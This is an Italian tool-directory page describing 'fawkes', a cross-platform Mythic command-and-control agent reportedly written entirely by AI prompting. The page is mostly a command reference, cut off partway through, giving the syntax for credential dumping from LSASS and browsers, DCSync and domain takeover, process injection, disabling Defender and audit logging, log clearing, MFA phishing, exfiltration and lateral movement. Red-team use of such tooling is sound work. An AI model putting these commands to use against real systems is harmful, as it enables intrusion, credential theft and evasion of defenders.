Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
fawkes — Fawkes è un agente C2 Mythic in golang scritto esclusivamente da AI. | Kitploit
Strumenti/GitHubGitHub/galoryber/fawkes
Strumenti DifensiviFrameworks per Penetration TestingEscalation di PrivilegiFramework di ExploitMovimento LateralePost-ExploitSicurezza CloudCommand and ControlSviluppo PayloadEscape dal Container
GitHubgaloryber/fawkes
3561 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

fawkes

Fawkes è un agente C2 Mythic in golang scritto esclusivamente da AI.

Vedi Repository

Agente C2 Fawkes Mythic

Fawkes è un agente Mythic C2 interamente vibe-coded. È iniziato come un "mi chiedo" e si è trasformato in un obiettivo. Il mio obiettivo è non scrivere una singola riga di codice per questo agente, ma produrlo esclusivamente tramite prompt.

Inizialmente ho tentato di scrivere l'agente da solo, ma dopo aver clonato il container di esempio, letto la documentazione di Mythic, guardato i video della serie di sviluppo su YouTube e copiato codice da altri agenti come Merlin o Freyja, ho deciso che semplicemente non avevo tempo per sviluppare il mio agente. Un prompt, invece, per quello ho tempo.

Fawkes è un agente basato su Golang con capacità cross-platform. Supporta Windows (payload EXE, DLL e shellcode), Linux (binari ELF e librerie condivise) e macOS (binari Mach-O per Intel e Apple Silicon). 213 comandi in totale: 113 cross-platform, 82 solo Windows, 21 solo Unix, 11 solo Linux e 6 solo macOS (alcuni comandi hanno implementazioni specifiche per piattaforma che condividono un nome comune, es. screenshot). Supporta l'egresso HTTP e il collegamento peer-to-peer (P2P) TCP per il pivoting interno.

Installazione

Per installare Fawkes, avrai bisogno di Mythic installato su un computer remoto. Puoi trovare le istruzioni di installazione per Mythic nella pagina del progetto Mythic.

Dalla directory di installazione di Mythic:``` ./mythic-cli install github https://github.com/galoryber/fawkes

root@kitploit:~
## Riferimento rapido dei comandiCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Legge/modifica DACL degli oggetti Active Directory (aggiunge/rimuove ACE, concede DCSync, GenericAll, backup/restore). Multipiattaforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumera i servizi certificati AD, trova template vulnerabili (ESC1-ESC4, ESC6 via DCOM), richiede certificati tramite DCOM per lo sfruttamento di ESC1/ESC6, o auto-sfruttamento (catena find → parse → request). Multipiattaforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Solo Windows)** Gestisce flussi di dati alternativi NTFS — scrive, legge, elenca o elimina flussi dati nascosti. Supporta testo e binario codificato in esadecimale. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Interroga e pulisce gli artefatti forensi di esecuzione. Windows: Shimcache. Linux: recently-used.xbel, miniature, Tracker. macOS: elementi recenti, KnowledgeC, quarantena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Solo Windows)** Iniezione in processo remoto. `-method apc` (default) accoda shellcode tramite NtQueueApcThread in un thread allertabile (usa `ts` per trovarne uno). `-method hwbp` si collega tramite DebugActiveProcess, imposta un breakpoint hardware su DR0 su un'API target (default `ntdll!NtDelayExecution`) e reindirizza Rip verso lo shellcode quando il breakpoint si attiva — nessun TID richiesto, nessuna coda APC, nessun CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Registra audio dal microfono e carica file WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multipiattaforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Solo Windows)** Interroga e modifica i criteri di audit di Windows. Disabilita la registrazione degli eventi di sicurezza prima di operazioni sensibili. La modalità stealth disabilita le sottocategorie critiche per il rilevamento. Usa API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Solo Windows)** Esegue un comando con argomenti di processo falsificati. Supera Sysmon Event ID 1 e la telemetria della riga di comando degli EDR (T1564.010).
arp | `arp [-ip <subnet>]` o `arp -action spoof -target <IP> -gateway <IP>` | Mostra la tabella ARP con filtri, o avvelenamento della cache ARP per posizionamento MITM (T1557.002). Spoof: solo Linux, ripristina alla pulitura.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Richiede ticket AS-REP per account senza pre-autenticazione ed estrae hash in formato hashcat per cracking offline. Auto-enumerazione tramite LDAP. Multipiattaforma (T1558.004).
av-detect | `av-detect [-deep true]` | Rileva prodotti AV/EDR/sicurezza installati scandendo i processi in esecuzione contro un database di oltre 130 firme. Con `--deep`, controlla anche moduli kernel, unità systemd e directory di configurazione per prodotti installati ma non in esecuzione (Linux). Riporta prodotto, vendor, tipo e PID. Multipiattaforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Solo Windows)** Applica automaticamente una patch a una funzione saltando alla più vicina istruzione di ritorno (C3). Utile per bypass di AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Toolkit di codifica dati: base64, XOR (con chiave stringa/hex), hex, ROT13, percent-encoding URL, cifrario di Cesare. Tutti supportano I/O su file. Multipiattaforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Solo Windows)** Gestisce lavori di trasferimento BITS per persistenza e download furtivo di file. Crea, sospende, riprende, completa lavori e imposta comandi di notifica per persistenza. I lavori sopravvivono ai riavvii (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Raccoglie dati del browser da Chromium, Firefox e Safari. Cronologia, autofill, segnalibri, download multipiattaforma. Password: Chromium (DPAPI/Keychain/Portachiavi GNOME), Firefox (decifratura NSS key4.db), Safari (Portachiavi macOS). Cookie Firefox su tutte le piattaforme. MITRE T1555.003, T1217.
cat | `cat <file>` o `cat -path <file> -start N -end N -number true` | Mostra il contenuto di un file con intervallo di righe opzionale, numerazione e protezione da dimensioni superiori a 5MB.
cd | `cd <directory>` | Cambia la directory di lavoro corrente.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modifica i permessi di file/directory con notazione ottale (755, 644) o simbolica (+x, u+rw, go-w). Supporto ricorsivo. Multipiattaforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Solo Linux/macOS)** Cambia la proprietà di file/directory per nome utente/UID e nome gruppo/GID. Supporto ricorsivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Ispeziona i certificati TLS su host remoti — identifica CA, certificati autofirmati, scadenza, SAN, versione TLS, suite di cifratura e impronte SHA256. Multipiattaforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Solo Windows)** Enumera i depositi di certificati di Windows per trovare certificati per firma codice, autenticazione client e chiavi private. Cerca in CurrentUser e LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Legge/scive gli appunti o li monitora continuamente per rilevare pattern di credenziali. Multipiattaforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadati cloud, estrazione credenziali, enumerazione IAM, enumerazione storage, persistenza e accesso a depositi segreti. storage/aws-s3/azure-blob/gcp-gcs: enumera bucket/container con oggetti di esempio. aws-ssm: SSM Parameter Store con decifratura. azure-keyvault: segreti Key Vault tramite identità gestita. gcp-secrets: Secret Manager tramite account di servizio. aws-persist/azure-persist: crea chiavi di accesso/registrazioni app a lunga durata. Rilevamento automatico. IMDSv2. Multipiattaforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Crea, elenca, estrae, mette in scena o esfiltra archivi. Stage cifra con AES-256-GCM. Exfil trasferisce a Mythic. exfil-https: carica su URL pre-firmati S3/Azure/GCS con upload chunked, header personalizzati, jitter. exfil-github: esfiltra tramite API GitHub Contents. Multipiattaforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coercizione dell'autenticazione NTLM tramite MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Forza il target ad autenticarsi presso l'ascoltatore dell'attaccante. Supporto pass-the-hash. Multipiattaforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Visualizza o modifica la configurazione runtime dell'agente, o auto-aggiorna il binario dell'agente. `show`/`set`: sleep, jitter, kill date, ore lavorative. `update`: scarica nuovo payload da Mythic, verifica, avvia e termina l'agente corrente. Multipiattaforma (T1105).
container-detect | `container-detect` | Rileva l'ambiente di esecuzione del contenitore (Docker, K8s, LXC, Podman, WSL). Controlla vettori di escape come socket Docker e account di servizio K8s. Multipiattaforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Solo Linux)** Breakout del contenitore + operazioni K8s — socket Docker, cgroup, nsenter, mount del dispositivo host. K8s: enumera pod/servizi, legge segreti, **k8s-rbac**: scansione ClusterRole/RoleBinding + punteggio percorsi di escalation dei privilegi (crit/warn/info), **k8s-nodes**: superficie d'attacco dei nodi del cluster (kubelet/OS/kernel/CIDR/taints/ruoli), **k8s-etcd**: scopre endpoint client etcd dagli argomenti dei pod del control-plane + probe `/version` non autenticato per endpoint (lettura non autenticata = compromissione completa del cluster), deploy/esegue pod tramite API. **Fuori dal cluster**: `-kubeconfig` accetta file kubeconfig rubati per accesso K8s da host non contenitore (token + autenticazione certificato client) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copia un file dalla sorgente alla destinazione.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Testa le credenziali contro SMB, WinRM e LDAP sugli host target. `verify-all` testa tutte le credenziali del deposito contro gli host scoperti in parallelo. Multipiattaforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Raccoglie credenziali: hash shadow (Unix), configurazioni cloud (AWS/GCP/Azure/K8s), segreti di applicazioni, scansione della cronologia della shell per password/token/chiavi API trapelate, cronologia PowerShell + variabili d'ambiente + RDP (Windows), token OAuth/JWT M365 da TokenBroker/Teams/Outlook (Windows), **browser-live**: ruba cookie live, localStorage, sessionStorage tramite protocollo Chrome DevTools (CDP) da Chrome/Edge in esecuzione. **dump-all**: catena automatica di sotto-attività — esegue hashdump + lsa-secrets + cred-harvest tutti in parallelo (Windows). Multipiattaforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Mostra un dialogo nativo per le credenziali, abusa del flusso OAuth device code o esegue phishing di codici MFA. dialog: AppleScript su macOS, CredUI su Windows, zenity/kdialog su Linux. device-code: flusso Azure AD OAuth device code per catturare token. mfa-phish: falso dialogo di verifica MFA per catturare codici TOTP. Multipiattaforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Richieste HTTP + upload file per esfiltrazione (T1567). Carica su URL pre-firmati S3, SAS Azure, endpoint generici. Multipiattaforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Estrae campi o intervalli di caratteri da righe di file. Delimitatori personalizzati, specifiche di intervallo. Multipiattaforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumera i depositi di credenziali della piattaforma. Windows: Gestione Credenziali + Vault (CredEnumerateW, vaultcli.dll). Linux: Portachiavi GNOME (secret-tool), KDE KWallet, password WiFi/VPN di NetworkManager, Account Online GNOME. macOS: elementi del Portachiavi (password generiche + internet), password WiFi. `list`=metadati, `dump`=con segreti, `vault`=solo Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Solo Windows)** Gestisce Defender — stato, esclusioni, minacce, abilita/disabilita protezione in tempo reale. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Solo Windows)** Decifratura blob DPAPI (CryptUnprotectData), enumerazione chiavi master, estrazione chiavi di cifratura Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Solo Windows)** Accede alla cassetta postale di Outlook tramite COM. Conta messaggi, cerca per parola chiave, legge per indice, elenca cartelle. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Solo Windows)** Esegue comandi, carica file o mette in scena ed esegue su host remoti tramite DCOM. `check` valida i prerequisiti RPC/DCOM. upload: trasferisce file tramite staging con certutil/PowerShell. exec-staged: carica poi esegue con pulizia automatica. Sei oggetti COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Rileva debugger collegati, strumenti di analisi e strumentazione. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registri DR. Linux: TracerPid, LD_PRELOAD, mappe di memoria (Frida/Valgrind/sanitizer), VM/sandbox, monitoraggio eBPF (Falco/Tetragon/Tracee), framework auditd, ambito ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, rilevamento VM (sysctl), prodotti di sicurezza (EDR/AV), ambiente sandbox/analisi. Tutti: scansione dei processi di debug (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replica le credenziali AD tramite DRS senza toccare LSASS. `domain-takeover` esegue kerberoast + asrep-roast + dcsync krbtgt/Administrator in parallelo. Multipiattaforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Riporta l'uso dello spazio su disco del filesystem con filtri opzionali per dispositivo, punto di mount o tipo di filesystem. Multipiattaforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Confronta due file e mostra le differenze in formato unificato diff. Algoritmo basato su LCS con numero configurabile di righe di contesto. Multipiattaforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumerazione DNS — risolve host, interroga record, scopre DC, trasferimenti di zona, rilevamento wildcard, risoluzione furtiva DNS-over-HTTPS, esfiltrazione DNS. Multipiattaforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Riporta l'uso del disco per file e directory. Suddivisione delle dimensioni per sottodirectory, ordinato per più grande. Multipiattaforma (T1083).
drivers | `drivers [-filter <name>]` | Enumera i driver/moduli kernel caricati. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumerazione kext. Multipiattaforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Criteri password/lockout AD e enumerazione FGPP tramite LDAP. Raccomandazioni spray-safe. Multipiattaforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Solo Linux/macOS)** Elenca, aggiunge o rimuove lavori cron per persistenza. Supporta voci cron raw o sintassi programma+programmazione.
download | `download <path>` o `download {"path": "/file", "compress": true}` | Scarica un file o una directory dal target. File >1MB auto-compressi con gzip (configurabile). Directory auto-zipate. Verifica hash SHA256. Trasferimento chunked, integrazione con il browser dei file.
drives | `drives` | Elenca unità/volumi disponibili e filesystem montati con tipo, etichetta/dispositivo e spazio libero/totale.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Solo Windows)** Enumera i token di accesso in tutti i processi. `list` mostra PID/user/integrity/session per ogni processo. `unique` raggruppa per utente con conteggi dei processi. Abilita automaticamente SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Cifratura/decifratura AES-256-GCM (T1486) + corruzione mirata di file (T1565). corrupt: sovrascrive le intestazioni dei file con dati casuali. Necessari cancelli di sicurezza per operazioni distruttive.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Elenca, ottiene, imposta o rimuove variabili d'ambiente per il processo agente. Le modifiche sono ereditate dai processi figli. Multipiattaforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Scansiona le variabili d'ambiente dei processi per credenziali trapelate, chiavi API e segreti. Oltre 35 pattern di rilevamento tra categorie cloud, database, CI/CD e criptovalute. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipolazione del sottosistema di audit/telemetria. Windows: sessioni/providers ETW stop/blind/blind-all/enable/patch/restore. Linux: regole auditd, journald clear/rotate, configurazione syslog, rilevamento agente SIEM. macOS: logging unificato, rilevamento agente di sicurezza. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gestisce i log degli eventi di sistema. Windows: canali wevtapi.dll. Linux: unità journald e file syslog. macOS: Logging Unificato (os_log) sottosistemi/processi. Elenca origini, interroga eventi, cancella/vuota log, ottiene informazioni. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Esegue un binario nativo dalla memoria. Linux: memfd_create (nessuna scrittura su disco). macOS: file temporaneo con ad-hoc codesign. Windows: file temporaneo con pulizia immediata. Tutte le piattaforme rimuovono gli artefatti dopo l'esecuzione. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Esegue shellcode nel processo corrente. Supporta shellcode codificato XOR/AES-256-CTR con decodifica runtime (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (default) o memfd_create. macOS: MAP_JIT (ARM64) o mmap. Multipiattaforma (T1059.006, T1620).
exit | `exit` | Comunica all'agente di terminare.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Ottiene o imposta attributi di file — nascosto, sola lettura, di sistema (Windows); immutabile, append, nodump (Linux); nascosto, immutabile (macOS). Ometti -attrs per visualizzare i flag correnti. Multipiattaforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identifica i tipi di file tramite magic byte (oltre 35 firme). Singolo file o scansione di directory. Rileva eseguibili, archivi, documenti, immagini, database, media e altro. Multipiattaforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Cerca file per nome, dimensione, data, permessi o proprietario. Trova binari SUID, file scrivibili da tutti, file di proprietà di utenti specifici. Multipiattaforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Scansiona gli host per scoprire dove le credenziali hanno accesso amministratore tramite SMB (condivisione C$) e/o WinRM. **auto-move**: catena automatica di sotto-attività — trova host admin poi si muove lateralmente a ciascuno tramite psexec/wmi. Supporta CIDR, intervalli IP, PTH, scansione parallela (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gestisce le regole del firewall. Windows: API COM. macOS: ALF + regole pf ancorate. Linux: iptables/nftables (rilevamento automatico). Supporto ancoraggio PF per filtraggio pacchetti su macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Elenca privilegi/capacità. Windows: privilegi del token con abilita/disabilita/strip. Linux: capacità del processo (CapEff/CapPrm) + contesto SELinux/AppArmor. macOS: entitlements, sandbox, gruppi (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalation dei privilegi. Windows: SYSTEM tramite furto di token o potato DCOM. Linux: controlla vettori di escalation (SUID, sudo, capacità, docker) o tenta elevazione sudo. macOS: controlla vettori, sudo o prompt amministrativo osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Cerca nei file XML GPP in SYSVOL con attributi cpassword cifrati e li decifra usando la chiave AES pubblicata (MS14-025). Multipiattaforma tramite SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumera gli oggetti Criteri di Gruppo tramite LDAP — elenca GPO, mappa i collegamenti con applicazione forzata, trova impostazioni interessanti CSE. Multipiattaforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Cerca il contenuto dei file con pattern regex. Ricerca ricorsiva in directory con filtri di estensione, righe di contesto e skip dei file binari. Multipiattaforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcola hash di file (MD5, SHA-1, SHA-256, SHA-512). Singoli file o directory con filtro glob pattern e controllo profondità. Multipiattaforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Mostra il contenuto del file in formato hex+ASCII stile xxd. Controllo offset/lunghezza per esaminare regioni specifiche, massimo 4096 byte. Multipiattaforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumera gli handle/descrittori di file aperti in un processo. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Estrae hash delle password degli account locali. Windows: hash NTLM dal registro SAM (richiede SYSTEM); **insitu**: enumera sessioni di accesso attive tramite API LSA in-process (richiede admin); **insitu-full**: apre lsass.exe con PROCESS_VM_READ, scansiona sig di lsasrv.dll per LogonSessionList, percorre la lista concatenata, sovrappone il layout KIWI_MSV1_0_LIST_63 su ogni nodo per estrarre LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, percorre la catena di credenziali per AuthPackage a credentials_ptr per catturare ogni busta KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, scansiona sig di LsaInitializeProtectedMemory_Internal per recuperare i globali della chiave BCrypt IV / h3DesKey / hAesKey più i byte raw IV 16 byte / 3DES 24 byte / AES 32 byte, decifra AES-256-CFB / 3DES-CBC ogni blob cifrato catturato (selezionato per blob da `len % 8`), e sovrappone il layout KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW per estrarre hash NT/LM/SHA — emessi in formato `username:rid:lm:nt:::` compatibile con l'hook ProcessResponse del deposito credenziali dell'azione dump-action (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, richiede admin). Linux: hash da /etc/shadow con identificazione del tipo di hash (richiede root). macOS: hash PBKDF2 dei Servizi Directory dai plist utente (richiede root). **auto-spray**: scarica hash poi li spruzza automaticamente tramite cred-check contro gli host target. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Elenca o cancella i file di cronologia dei comandi shell/applicazione. Copre bash, zsh, fish, PowerShell, python, mysql e altri. Multipiattaforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Process hollowing — crea processo sospeso, scrive shellcode, reindirizza esecuzione. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID spoofing, blocco DLL, decorazione PEB (mascheramento ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + scrittura /proc/mem. **macOS:** ptrace + API Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — richiede root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumera configurazioni IDE — estensioni VS Code, host SSH remoti, progetti recenti, impostazioni con segreti. Origini dati JetBrains, server di deployment, progetti recenti. Multipiattaforma (T1005, T1083).
ifconfig | `ifconfig` | Elenca le interfacce di rete con indirizzi, MAC, MTU e flag. Multipiattaforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Solo Windows)** Esegue un assembly .NET in memoria usando il CLR. Supporta argomenti da riga di comando. Usa `start-clr` prima per il flusso di lavoro di patching AMSI.
inline-execute | `inline-execute` | **(Solo Windows)** Esegue un Beacon Object File (BOF/COFF) in memoria. Supporta tutti i tipi di argomento: stringhe (z), stringhe wide (Z), interi (i), short (s) e binario (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Solo Windows)** Carica un PE nativo (DLL) dalla memoria nel processo corrente. Mapping manuale PE con copia delle sezioni, fixup di rilocazione, risoluzione delle importazioni e invocazione di DllMain. Opzionalmente chiama funzioni esportate (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Solo Linux)** Enumerazione e gestione del firewall Linux tramite iptables/nftables/ufw. IP forwarding, connection tracking, elenco e modifica delle regole. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Ferma un'attività in esecuzione tramite ID attività. Usa `jobs` per elencare le attività in esecuzione. Multipiattaforma.
jobs | `jobs` | Elenca le attività attualmente in esecuzione con ID attività, nome del comando e durata. Multipiattaforma.
jxa | `jxa -code '<script>' [-timeout 60]` o `jxa -file /path/to/script.js` | **(Solo macOS)** Esegue script JavaScript for Automation (JXA) con accesso al bridge ObjC ai framework Foundation, AppKit, Security. Supporta codice inline e input da file (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Richiede ticket TGS per account SPN ed estrae hash in formato hashcat per cracking offline. Auto-enumerazione tramite LDAP. Multipiattaforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumera, scarica, pulisce e importa ticket Kerberos. L'importazione abilita Pass-the-Ticket: Windows inietta kirbi tramite LSA, Linux/macOS scrive ccache e imposta KRB5CCNAME. Multipiattaforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Solo macOS)** Accede al Portachiavi macOS — elenca portachiavi, scarica metadati, trova password generiche/internet, enumera certificati.
